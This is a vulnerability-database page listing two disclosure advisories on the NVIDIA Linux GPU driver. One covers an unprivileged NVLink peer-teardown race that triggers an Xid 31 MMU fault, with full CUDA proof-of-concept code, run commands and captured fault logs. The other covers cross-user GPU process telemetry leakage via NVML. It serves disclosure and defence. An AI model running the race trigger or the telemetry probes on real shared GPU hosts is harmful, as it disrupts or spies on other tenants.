Common Weakness Enumeration

CWE-276

Allowed

Incorrect Default Permissions

Abstraction: Base · Status: Draft

API response cwe.mitre.org

During installation, installed file permissions are set to allow anyone to modify those files.

2103 vulnerabilities reference this CWE, most recent first.

GCVE-1988-2026-0083

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52
VLAI
Title
NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)
Summary
NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault during an NVLink peer transfer ================================================================================================== An unprivileged local user with no GPU group, no admin group and no capabilities, using only the driver's default 0666 /dev/nvidia* permissions and public CUDA Runtime APIs, deterministically causes a PID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer transfer. The captured Xid names one PCI device, 0000:01:00 - it is not evidence that both GPUs of the pair entered a faulted state, and no such claim is made here. The trigger is a race: call cudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still in flight on the peer path. Reproduced 5/5 with PID attribution to the triggering process, against 4/4 clean negative controls. NVIDIA reviewed the report and determined this is intended behavior and not a bug. Affected: NVIDIA Linux GPU driver, CUDA peer-access path on NVLink-connected GPUs Tested: 595.71.05-open Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off Platform: Ubuntu 24.04, kernel 6.8.0, CUDA 13.2 CWE: CWE-362 (race condition) for the mechanism; CWE-276 (incorrect default permissions) as the access precondition Status: Closed by NVIDIA as Not Applicable, 2026-08-04, on the grounds that it is intended behavior. No fix. CVE: none assigned Ref: Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071 Companion: "NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML" - same node, same driver, same 0666 precondition Read the "Unmeasured Question" section before drawing conclusions about severity. The single measurement that separates a self-contained fault from a cross-tenant denial of service is one I did not capture, and I am not claiming it. Observed Mechanism ------------------ cudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can address GPU b's memory over NVLink. cudaMemcpyPeerAsync() queues a DMA on a copy engine that walks that mapping. cudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces the outstanding DMA to drain first. The Xid line names FAULT_PDE on CE4, consistent with the copy engine dereferencing a page directory entry that has just been unmapped - an inference from the fault type and engine, not a claim about driver internals. GPU a (holds peer mapping) GPU b (peer) +----------------------------------+ +---------------------------+ | cudaSetDevice(a) | | cudaMalloc(src) | | cudaDeviceEnablePeerAccess(b) ------ NVLink ---> | peer mapping installed | | cudaMemcpyPeerAsync() x4 |===== DMA in flight on CE4 =====> | | cudaDeviceDisablePeerAccess(b) | | | | ^ | | | | +-- PDE torn down while CE4 is still walking it | +----------------------------------+ +---------------------------+ | v CE4 dereferences an unmapped PDE -> FAULT_PDE ACCESS_TYPE_VIRT_READ | v Xid 31, PID-attributed to the caller The negative control synchronizes every copy before teardown, so no DMA is outstanding when the mapping is removed. Approximately 9,000 synchronized cycles per run across four negative controls - roughly 36,000 cycles total - produced zero Xid. That isolates the in-flight-copy-versus-teardown race as the cause rather than peer access itself. Attacker Prerequisites ---------------------- A shell account on the node, and the driver's own default device permissions: # grep -E 'ModifyDeviceFiles|DeviceFileMode' /proc/driver/nvidia/params ModifyDeviceFiles: 1 DeviceFileMode: 438 # 0666 octal The trigger user for all captured runs was uid 1011, in no GPU group, with an empty effective capability set. Proof of Concept ---------------- Full PoC code, the instrumented trigger, the canary ladder and raw evidence for both findings: <https://github.com/abhinavagarwal07/nvidia-gpu-security-poc> --a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES, containers, schedulers and MIG all remap these, so pin them to the intended physical pair. /* nvlink_p2p_cycle.cu * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu * pos: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1 --inflight 1 --dur 30 * neg: CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1 --inflight 0 --dur 30 * (the captured runs used --dur 30) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #include <cuda_runtime.h> /* peer enable/disable and the async copies are EXPECTED to return errors once the * pair starts faulting; swallow them so the loop keeps racing. */ #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0) #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \ fprintf(stderr,"%s:%d %s\n",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0) static double now_s(void){ struct timespec t; clock_gettime(CLOCK_MONOTONIC,&t); return t.tv_sec + t.tv_nsec/1e9; } int main(int argc,char**argv){ int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0; for(int i=1;i<argc;i++){ if(!strcmp(argv[i],"--a")&&i+1<argc) a=atoi(argv[++i]); else if(!strcmp(argv[i],"--p")&&i+1<argc) p=atoi(argv[++i]); else if(!strcmp(argv[i],"--dur")&&i+1<argc) dur=atof(argv[++i]); else if(!strcmp(argv[i],"--mb")&&i+1<argc) mb=atoi(argv[++i]); else if(!strcmp(argv[i],"--streams")&&i+1<argc) nstream=atoi(argv[++i]); else if(!strcmp(argv[i],"--inflight")&&i+1<argc) inflight=atoi(argv[++i]); } size_t bytes=(size_t)mb*1024*1024; printf("pid=%d\n",(int)getpid()); /* PID attribution is the central claim */ int can=0; CHECK(cudaDeviceCanAccessPeer(&can,a,p)); if(!can){ fprintf(stderr,"no p2p %d<->%d\n",a,p); return 2; } /* source buffer lives on the peer; destinations and streams on the local device */ CHECK(cudaSetDevice(p)); void *src; CHECK(cudaMalloc(&src,bytes)); CHECK(cudaMemset(src,0xCD,bytes)); CHECK(cudaSetDevice(a)); void **dst = (void**)malloc(nstream*sizeof(void*)); cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t)); for(int s=0;s<nstream;s++){ CHECK(cudaMalloc(&dst[s],bytes)); CHECK(cudaStreamCreate(&st[s])); } double t0=now_s(); unsigned long long cyc=0; while(now_s()-t0 < dur){ SOFT(cudaDeviceEnablePeerAccess(p,0)); /* install peer mapping */ for(int s=0;s<nstream;s++) SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s])); /* 4 x 64MiB async on CE */ if(!inflight) for(int s=0;s<nstream;s++) cudaStreamSynchronize(st[s]); /* negative control only */ SOFT(cudaDeviceDisablePeerAccess(p)); /* tear down mid-DMA */ cyc++; } printf("done: %llu cycles in %.1fs\n", cyc, now_s()-t0); return 0; } Four 64 MiB copies across four streams keeps enough DMA outstanding that the teardown lands inside the transfer window on essentially every cycle. Before running, confirm the two ordinals really are NVLink-connected - cudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not tested here: nvidia-smi topo -m # expect NV<n> between the chosen GPUs, not PHB/SYS nvidia-smi -L Watch the kernel log. This needs root, or kernel.dmesg_restrict=0: dmesg -w | grep -i xid If no Xid appears within about 30 seconds, raise --mb and --streams until the teardown reliably lands inside the transfer window. -arch=sm_80 is A100; use sm_90 on H100/GH200, untested here. DO NOT RESET YET. Resetting here destroys the only evidence that matters - it is exactly the mistake my own harness made, and it is why the central question in this post is unanswered. The required order is: trigger -> kill -9 the trigger -> canary as a DIFFERENT unprivileged UID, before any reset -> reset ONLY if that canary fails Read state without clearing it: nvidia-smi -q | grep -i "GPU Recovery Action" Only after the pre-reset canary has been run and recorded: nvidia-smi --gpu-reset -i <a>,<b> # requires no processes attached to those GPUs Positive run (--inflight 1), captured verbatim: [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31, pid=6507, name=nvlink_p2p_cycl, channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4 HUBCLIENT_HSCE0 faulted @ 0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ Negative control (--inflight 0), approximately 9,000 synchronized cycles: NONE Machine-scored verdict for the same positive run: { "poc": "F5b-Xid31-unprivileged-P2P-disable-race", "kind": "positive", "trigger_user": "victimuser", "physical_gpu_pair": ["0","1"], "inflight": 1, "xid_seen_during_run": 1, "trigger_launch_pids": ["6507"], "xid_line_pids": ["6507"], "verdict": "PASS", "criteria": { "fresh_xid31": true, "pid_match": true, "xid154_or_175": false, "unprivileged_user": true, "survived_first_sigkill": false, "held_gpu_memory": true, "ecc_clean_post": true } } pos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds. Results ------- Run Kind Pair inflight Fresh Xid 31 PID-matched Xid 154/175 Held GPU mem ECC clean ------- --------- ----- --------- ------------- ------------ ------------ ---------------- --------- pos-01 positive 0,1 1 yes yes no 672+480 MiB yes pos-02 positive 0,1 1 yes yes no 672+480 MiB yes pos-03 positive 0,1 1 yes yes no 672+480 MiB yes pos-04 positive 0,1 1 yes yes no 672+480 MiB yes pos-05 positive 0,1 1 yes yes no 672+480 MiB yes neg-01 negative 0,1 0 no - no - yes neg-02 negative 0,1 0 no - no - yes neg-03 negative 0,1 0 no - no - yes neg-04 negative 0,1 0 no - no - yes Positives 5/5, negatives 4/4. Held GPU memory was recorded numerically for pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it as a boolean for pos-02..05. Those numbers are derivable from the trigger's own allocations - four 64 MiB destination buffers plus a ~416 MiB CUDA context on the local device, 64 MiB source plus the same context on the peer - which is what rules out random corruption. Post-reset aggregate uncorrectable ECC totals were zero in every run - a fault, not hardware damage. The trigger process dies on the first SIGKILL. The fault was also reachable on all six local NVLink pairs, one pass each. The Unmeasured Question ----------------------- Whether the faulted copy-engine / UVM context clears when the process dies, or whether the pair stays unusable to a fresh process until a privileged nvidia-smi --gpu-reset, was not measured. The harness ran --gpu-reset reflexively immediately after killing the trigger, destroying the evidence for its own most important question. The test node was deprovisioned before the run could be repeated with a health probe in the gap. Four indicators, three of them NVIDIA's own, point toward self-clearing: - NVIDIA's Xid
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
Nvidia Linux GPU Affected: unknown
Create a notification for this product.
Credits
Abhinav Agarwal
To clipboard 

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Linux GPU",
          "vendor": "Nvidia",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Abhinav Agarwal"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "NVIDIA Linux GPU driver - unprivileged Xid 31 copy-engine MMU fault\nduring an NVLink peer transfer\n==================================================================================================\n\nAn unprivileged local user with no GPU group, no admin group and no\ncapabilities, using only the driver\u0027s default 0666 /dev/nvidia*\npermissions and public CUDA Runtime APIs, deterministically causes a\nPID-attributed copy-engine MMU fault (Xid 31) during an NVLink peer\ntransfer. The captured Xid names one PCI device, 0000:01:00 - it is\nnot evidence that both GPUs of the pair entered a faulted state, and\nno such claim is made here. The trigger is a race: call\ncudaDeviceDisablePeerAccess() while a cudaMemcpyPeerAsync() is still\nin flight on the peer path. Reproduced 5/5 with PID attribution to the\ntriggering process, against 4/4 clean negative controls. NVIDIA\nreviewed the report and determined this is intended behavior and not a\nbug.\n\nAffected:  NVIDIA Linux GPU driver, CUDA peer-access path on\nNVLink-connected GPUs\nTested:    595.71.05-open\nHardware:  A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off\nPlatform:  Ubuntu 24.04, kernel 6.8.0, CUDA 13.2\nCWE:       CWE-362 (race condition) for the mechanism; CWE-276\n(incorrect default permissions) as the access precondition\nStatus:    Closed by NVIDIA as Not Applicable, 2026-08-04, on the\ngrounds that it is intended behavior. No fix.\nCVE:       none assigned\nRef:       Intigriti NVIDIA-S5KGSS2R, NVIDIA PSIRT ticket 6286071\nCompanion: \"NVIDIA Linux GPU driver: cross-UID GPU process telemetry\nvia NVML\" - same node, same driver, same 0666 precondition\n\nRead the \"Unmeasured Question\" section before drawing conclusions\nabout severity. The single measurement that separates a self-contained\nfault from a cross-tenant denial of service is one I did not capture,\nand I am not claiming it.\n\n\nObserved Mechanism\n------------------\n\ncudaDeviceEnablePeerAccess() installs a peer mapping so GPU a can\naddress GPU b\u0027s memory over NVLink. cudaMemcpyPeerAsync() queues a DMA\non a copy engine that walks that mapping.\ncudaDeviceDisablePeerAccess() tears the mapping down. Nothing forces\nthe outstanding DMA to drain first. The Xid line names FAULT_PDE on\nCE4, consistent with the copy engine dereferencing a page directory\nentry that has just been unmapped - an inference from the fault type\nand engine, not a claim about driver internals.\n\n    GPU a (holds peer mapping)                        GPU b (peer)\n    +----------------------------------+\n+---------------------------+\n    | cudaSetDevice(a)                 |              |\ncudaMalloc(src)           |\n    | cudaDeviceEnablePeerAccess(b) ------ NVLink ---\u003e | peer mapping\ninstalled    |\n    | cudaMemcpyPeerAsync() x4         |===== DMA in flight on CE4\n=====\u003e          |\n    | cudaDeviceDisablePeerAccess(b)   |              |\n           |\n    |        ^                         |              |\n           |\n    |        +-- PDE torn down while CE4 is still walking it\n           |\n    +----------------------------------+\n+---------------------------+\n                                  |\n                                  v\n              CE4 dereferences an unmapped PDE -\u003e FAULT_PDE\nACCESS_TYPE_VIRT_READ\n                                  |\n                                  v\n                        Xid 31, PID-attributed to the caller\n\nThe negative control synchronizes every copy before teardown, so no\nDMA is outstanding when the mapping is removed. Approximately 9,000\nsynchronized cycles per run across four negative controls - roughly\n36,000 cycles total - produced zero Xid. That isolates the\nin-flight-copy-versus-teardown race as the cause rather than peer\naccess itself.\n\n\nAttacker Prerequisites\n----------------------\n\nA shell account on the node, and the driver\u0027s own default device permissions:\n\n    # grep -E \u0027ModifyDeviceFiles|DeviceFileMode\u0027 /proc/driver/nvidia/params\n    ModifyDeviceFiles: 1\n    DeviceFileMode: 438          # 0666 octal\n\nThe trigger user for all captured runs was uid 1011, in no GPU group,\nwith an empty effective capability set.\n\n\nProof of Concept\n----------------\n\nFull PoC code, the instrumented trigger, the canary ladder and raw\nevidence for both findings:\n\u003chttps://github.com/abhinavagarwal07/nvidia-gpu-security-poc\u003e\n\n--a and --p are CUDA-visible ordinals. CUDA_VISIBLE_DEVICES,\ncontainers, schedulers and MIG all remap these, so pin them to the\nintended physical pair.\n\n    /* nvlink_p2p_cycle.cu\n     * build: nvcc -arch=sm_80 -O2 -o nvlink_p2p_cycle nvlink_p2p_cycle.cu\n     * pos:   CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 1 --dur 30\n     * neg:   CUDA_VISIBLE_DEVICES=0,1 ./nvlink_p2p_cycle --a 0 --p 1\n--inflight 0 --dur 30\n     * (the captured runs used --dur 30)\n     */\n    #include \u003cstdio.h\u003e\n    #include \u003cstdlib.h\u003e\n    #include \u003cstring.h\u003e\n    #include \u003ctime.h\u003e\n    #include \u003cunistd.h\u003e\n    #include \u003ccuda_runtime.h\u003e\n\n    /* peer enable/disable and the async copies are EXPECTED to return\nerrors once the\n     * pair starts faulting; swallow them so the loop keeps racing. */\n    #define SOFT(x) do { cudaError_t _e=(x); (void)_e; } while(0)\n    #define CHECK(x) do { cudaError_t _e=(x); if(_e!=cudaSuccess){ \\\n        fprintf(stderr,\"%s:%d\n%s\\n\",__FILE__,__LINE__,cudaGetErrorString(_e)); exit(1);} } while(0)\n\n    static double now_s(void){ struct timespec t;\nclock_gettime(CLOCK_MONOTONIC,\u0026t);\n                               return t.tv_sec + t.tv_nsec/1e9; }\n\n    int main(int argc,char**argv){\n      int a=0,p=1,mb=64,nstream=4,inflight=1; double dur=60.0;\n      for(int i=1;i\u003cargc;i++){\n        if(!strcmp(argv[i],\"--a\")\u0026\u0026i+1\u003cargc)             a=atoi(argv[++i]);\n        else if(!strcmp(argv[i],\"--p\")\u0026\u0026i+1\u003cargc)        p=atoi(argv[++i]);\n        else if(!strcmp(argv[i],\"--dur\")\u0026\u0026i+1\u003cargc)      dur=atof(argv[++i]);\n        else if(!strcmp(argv[i],\"--mb\")\u0026\u0026i+1\u003cargc)       mb=atoi(argv[++i]);\n        else if(!strcmp(argv[i],\"--streams\")\u0026\u0026i+1\u003cargc)\nnstream=atoi(argv[++i]);\n        else if(!strcmp(argv[i],\"--inflight\")\u0026\u0026i+1\u003cargc)\ninflight=atoi(argv[++i]);\n      }\n      size_t bytes=(size_t)mb*1024*1024;\n      printf(\"pid=%d\\n\",(int)getpid());   /* PID attribution is the\ncentral claim */\n\n      int can=0; CHECK(cudaDeviceCanAccessPeer(\u0026can,a,p));\n      if(!can){ fprintf(stderr,\"no p2p %d\u003c-\u003e%d\\n\",a,p); return 2; }\n\n      /* source buffer lives on the peer; destinations and streams on\nthe local device */\n      CHECK(cudaSetDevice(p));\n      void *src; CHECK(cudaMalloc(\u0026src,bytes));\nCHECK(cudaMemset(src,0xCD,bytes));\n      CHECK(cudaSetDevice(a));\n      void **dst = (void**)malloc(nstream*sizeof(void*));\n      cudaStream_t *st = (cudaStream_t*)malloc(nstream*sizeof(cudaStream_t));\n      for(int s=0;s\u003cnstream;s++){ CHECK(cudaMalloc(\u0026dst[s],bytes));\nCHECK(cudaStreamCreate(\u0026st[s])); }\n\n      double t0=now_s(); unsigned long long cyc=0;\n      while(now_s()-t0 \u003c dur){\n        SOFT(cudaDeviceEnablePeerAccess(p,0));\n/* install peer mapping  */\n        for(int s=0;s\u003cnstream;s++)\n          SOFT(cudaMemcpyPeerAsync(dst[s],a,src,p,bytes,st[s]));\n/* 4 x 64MiB async on CE */\n        if(!inflight)\n          for(int s=0;s\u003cnstream;s++) cudaStreamSynchronize(st[s]);\n/* negative control only */\n        SOFT(cudaDeviceDisablePeerAccess(p));\n/* tear down mid-DMA     */\n        cyc++;\n      }\n      printf(\"done: %llu cycles in %.1fs\\n\", cyc, now_s()-t0);\n      return 0;\n    }\n\nFour 64 MiB copies across four streams keeps enough DMA outstanding\nthat the teardown lands inside the transfer window on essentially\nevery cycle.\n\nBefore running, confirm the two ordinals really are NVLink-connected -\ncudaDeviceCanAccessPeer also returns 1 for PCIe P2P, which was not\ntested here:\n\n    nvidia-smi topo -m          # expect NV\u003cn\u003e between the chosen\nGPUs, not PHB/SYS\n    nvidia-smi -L\n\nWatch the kernel log. This needs root, or kernel.dmesg_restrict=0:\n\n    dmesg -w | grep -i xid\n\nIf no Xid appears within about 30 seconds, raise --mb and --streams\nuntil the teardown reliably lands inside the transfer window.\n-arch=sm_80 is A100; use sm_90 on H100/GH200, untested here.\n\nDO NOT RESET YET. Resetting here destroys the only evidence that\nmatters - it is exactly the mistake my own harness made, and it is why\nthe central question in this post is unanswered. The required order\nis:\n\n    trigger  -\u003e  kill -9 the trigger  -\u003e  canary as a DIFFERENT\nunprivileged UID, before any reset\n             -\u003e  reset ONLY if that canary fails\n\nRead state without clearing it:\n\n    nvidia-smi -q | grep -i \"GPU Recovery Action\"\n\nOnly after the pre-reset canary has been run and recorded:\n\n    nvidia-smi --gpu-reset -i \u003ca\u003e,\u003cb\u003e        # requires no processes\nattached to those GPUs\n\nPositive run (--inflight 1), captured verbatim:\n\n    [Sat May 30 18:33:27 2026] NVRM: Xid (PCI:0000:01:00): 31,\npid=6507, name=nvlink_p2p_cycl,\n    channel 0x0c00001f, intr 00000000. MMU Fault: ENGINE CE4\nHUBCLIENT_HSCE0 faulted @\n    0x7a77_7dbc6000. Fault is of type FAULT_PDE ACCESS_TYPE_VIRT_READ\n\nNegative control (--inflight 0), approximately 9,000 synchronized cycles:\n\n    NONE\n\nMachine-scored verdict for the same positive run:\n\n    { \"poc\": \"F5b-Xid31-unprivileged-P2P-disable-race\", \"kind\": \"positive\",\n      \"trigger_user\": \"victimuser\", \"physical_gpu_pair\": [\"0\",\"1\"],\n\"inflight\": 1,\n      \"xid_seen_during_run\": 1, \"trigger_launch_pids\": [\"6507\"],\n\"xid_line_pids\": [\"6507\"],\n      \"verdict\": \"PASS\",\n      \"criteria\": { \"fresh_xid31\": true, \"pid_match\": true,\n\"xid154_or_175\": false,\n                    \"unprivileged_user\": true, \"survived_first_sigkill\": false,\n                    \"held_gpu_memory\": true, \"ecc_clean_post\": true } }\n\npos-01 launched at 18:33:23 and the Xid landed at 18:33:25 - two seconds.\n\n\nResults\n-------\n\n    Run     Kind      Pair  inflight  Fresh Xid 31  PID-matched  Xid\n154/175  Held GPU mem     ECC clean\n    ------- --------- ----- --------- ------------- ------------\n------------ ---------------- ---------\n    pos-01  positive  0,1   1         yes           yes          no\n       672+480 MiB      yes\n    pos-02  positive  0,1   1         yes           yes          no\n       672+480 MiB      yes\n    pos-03  positive  0,1   1         yes           yes          no\n       672+480 MiB      yes\n    pos-04  positive  0,1   1         yes           yes          no\n       672+480 MiB      yes\n    pos-05  positive  0,1   1         yes           yes          no\n       672+480 MiB      yes\n    neg-01  negative  0,1   0         no            -            no\n       -                yes\n    neg-02  negative  0,1   0         no            -            no\n       -                yes\n    neg-03  negative  0,1   0         no            -            no\n       -                yes\n    neg-04  negative  0,1   0         no            -            no\n       -                yes\n\nPositives 5/5, negatives 4/4. Held GPU memory was recorded numerically\nfor pos-01 (672 MiB on GPU0, 480 MiB on GPU1); the harness recorded it\nas a boolean for pos-02..05. Those numbers are derivable from the\ntrigger\u0027s own allocations - four 64 MiB destination buffers plus a\n~416 MiB CUDA context on the local device, 64 MiB source plus the same\ncontext on the peer - which is what rules out random corruption.\nPost-reset aggregate uncorrectable ECC totals were zero in every run -\na fault, not hardware damage. The trigger process dies on the first\nSIGKILL.\n\nThe fault was also reachable on all six local NVLink pairs, one pass each.\n\n\nThe Unmeasured Question\n-----------------------\n\nWhether the faulted copy-engine / UVM context clears when the process\ndies, or whether the pair stays unusable to a fresh process until a\nprivileged nvidia-smi --gpu-reset, was not measured.\n\nThe harness ran --gpu-reset reflexively immediately after killing the\ntrigger, destroying the evidence for its own most important question.\nThe test node was deprovisioned before the run could be repeated with\na health probe in the gap.\n\nFour indicators, three of them NVIDIA\u0027s own, point toward self-clearing:\n\n  - NVIDIA\u0027s Xid"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-276",
              "description": "CWE-276",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-362",
              "description": "CWE-362",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:52:15Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/78"
        },
        {
          "url": "https://abhinavagarwal07.github.io"
        },
        {
          "url": "https://arxiv.org/html/2503.11901v3"
        },
        {
          "url": "https://docs.aws.amazon.com/eks/latest/userguide/node-repair.html"
        },
        {
          "url": "https://docs.nvidia.com/cuda/archive/13.2.0/cuda-runtime-api/group__CUDART__PEER.html"
        },
        {
          "url": "https://docs.nvidia.com/cuda/cuda-runtime-api/group__CUDART__PEER.html"
        },
        {
          "url": "https://docs.nvidia.com/datacenter/tesla/fabric-manager-user-guide/index.html"
        },
        {
          "url": "https://docs.nvidia.com/deploy/xid-errors/analyzing-xid-catalog.html"
        },
        {
          "url": "https://docs.nvidia.com/deploy/xid-errors/index.html"
        },
        {
          "url": "https://github.com/NVIDIA/k8s-device-plugin/blob/main/internal/rm/health.go"
        },
        {
          "url": "https://github.com/NVIDIA/open-gpu-kernel-modules/blob/main/kernel-open/nvidia/nv-reg.h"
        },
        {
          "url": "https://github.com/abhinavagarwal07/nvidia-gpu-security-poc"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/78"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering, no CVE (vendor: intended)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0083",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/78",
            "automated": true,
            "contentSha256": "d9b7f5d4e360248ee44af2a3660b4178ae6c8eeb4d85b362cbf49126837f61cf",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/78",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-08-22T19:43:46Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-11T11:52:15Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0083"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0082

Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 11:52
VLAI
Title
NVIDIA Linux GPU driver: cross-UID GPU process telemetry via NVML, no CVE (vendor: expected behavior)
Summary
NVIDIA Linux GPU driver - cross-UID GPU process telemetry disclosure via NVML ============================================================================ On a multi-user Linux GPU host where mutually untrusted users can open the same /dev/nvidia* devices - the driver's default mode is 0666 - an unprivileged user can enumerate another user's GPU processes and per-process GPU telemetry through standard NVML management APIs. NVML directly returned the foreign PID, the per-process GPU-memory allocation and the SM utilization; nvidia-smi additionally displayed the process path, but the corresponding direct nvmlSystemGetProcessName() call was not captured. Measured on one configuration: A100, MIG off, bare metal, two local UIDs. No root, no gpu/video/render group membership, no capabilities, no CUDA context of the attacker's own, no performance counters, no injected traffic, no race. The attacker learns, for processes belonging to other users: PID, per-process GPU memory allocation, per-process SM utilization, and - via nvidia-smi - the binary path. Read-only workload metadata; no GPU memory contents are read. NVIDIA reviewed the finding and determined it is expected behavior. Affected: NVIDIA Linux GPU driver, NVML management plane Tested: 595.71.05-open; core channels also reproduced on 565.57.01-open Hardware: A100-SXM4-80GB x4, NV4 full mesh, no NVSwitch, MIG off Platform: Ubuntu 24.04, kernel 6.8.0-106, CUDA toolkit 12.9 (driver-reported runtime 13.2) CWE: CWE-200 (exposure of information to an unauthorized actor), CWE-862 (missing authorization) Status: Closed by NVIDIA as expected behavior. No fix. Public disclosure authorized by NVIDIA PSIRT 2026-08-20. CVE: none assigned Ref: Intigriti NVIDIA-W5AB0FZR Companion: "NVIDIA Linux GPU driver: unprivileged Xid 31 MMU fault via undocumented peer-teardown ordering" - same node, same driver, same 0666 precondition Root Cause ---------- Two independent facts compound. (a) /dev/nvidia* is mode 0666 by driver default. This is set by the kernel module, not by a site udev rule. # grep -E 'ModifyDeviceFiles|DeviceFileMode|RmProfilingAdminOnly' /proc/driver/nvidia/params ModifyDeviceFiles: 1 DeviceFileMode: 438 RmProfilingAdminOnly: 1 438 decimal is 0666 octal. ModifyDeviceFiles: 1 means the module rewrites existing device files to match its own defaults, so an administrator who tightens the mode out-of-band can have it reverted on module reload. The vendor sources agree: open-gpu-kernel-modules carries NV_DEFINE_REG_ENTRY(__NV_DEVICE_FILE_MODE, 0666) in kernel-open/nvidia/nv-reg.h with the comment "The default mode is 0666 (octal, rw-rw-rw-)", and the driver README "Device files" section documents UID 0 / GID 0 / Mode 0666 as the default, adding "Existing device files are changed if their attributes don't match these defaults." (b) NVML management APIs apply no UID, cgroup, or capability check to a caller holding that file descriptor. Any opener receives the node-wide management view. +------------------+ +-------------------+ | victim uid 1000 | | attacker uid 1011 | | CUDA workload | | no groups, Cap=0 | +--------+---------+ +---------+---------+ | | | open(2) /dev/nvidia* (0666) | open(2) /dev/nvidia* (0666) v v +-----------------------------------------------------------------------+ | nvidia.ko -> NVML management plane | | | | nvmlDeviceGetComputeRunningProcesses() -> ALL pids, ALL uids | | nvmlDeviceGetProcessUtilization() -> ALL pids, ALL uids | | ^ | | +--- no ownership check anywhere on this path| +-----------------------------------------------------------------------+ NVML already has the concept of privilege-gating this exact call - just not in ordinary shared-GPU mode. From nvml.h, on both nvmlDeviceGetComputeRunningProcesses_v3 and nvmlDeviceGetMPSComputeRunningProcesses_v3: "In MIG mode, if device handle is provided, the API returns aggregate information, only if the caller has appropriate privileges." So under MIG, process enumeration through the physical-device handle is privilege-gated. Outside MIG there is no corresponding UID ownership boundary. Relatedly, nvmlDeviceGetComputeRunningProcesses_v3 documents NVML_ERROR_NO_PERMISSION in its return list and does not return it here; nvmlDeviceGetProcessUtilization and nvmlDeviceGetMPSComputeRunningProcesses_v3 do not document that error at all. Note RmProfilingAdminOnly: 1 in the same params output. The CUPTI performance-counter plane IS gated behind CAP_SYS_ADMIN on this exact node - that gate was added as the fix for CVE-2018-6260. The NVML per-process management plane received no equivalent gate. That asymmetry is the finding. Attacker Prerequisites ---------------------- A shell account on the node. The observer used for all captured runs: uid=1011(victimuser) gid=1011(victimuser) groups=1011(victimuser) CapInh: 0000000000000000 -> NONE CapPrm: 0000000000000000 -> NONE CapEff: 0000000000000000 -> NONE CapAmb: 0000000000000000 -> NONE CapBnd: 000001ffffffffff No sudo. Not in sudo/wheel/admin/docker/video/gpu/render. No Docker socket. Cannot load kernel modules. Cannot ptrace other users' processes. Proof of Concept ---------------- Victim, uid 1000 - any long-running CUDA workload. The captured runs used nccl-tests all_reduce_perf on GPUs 2 and 3. Anything holding a CUDA context works; this needs only pytorch: python3 -c "import torch,time x=torch.randn(8192,8192,device='cuda') while True: 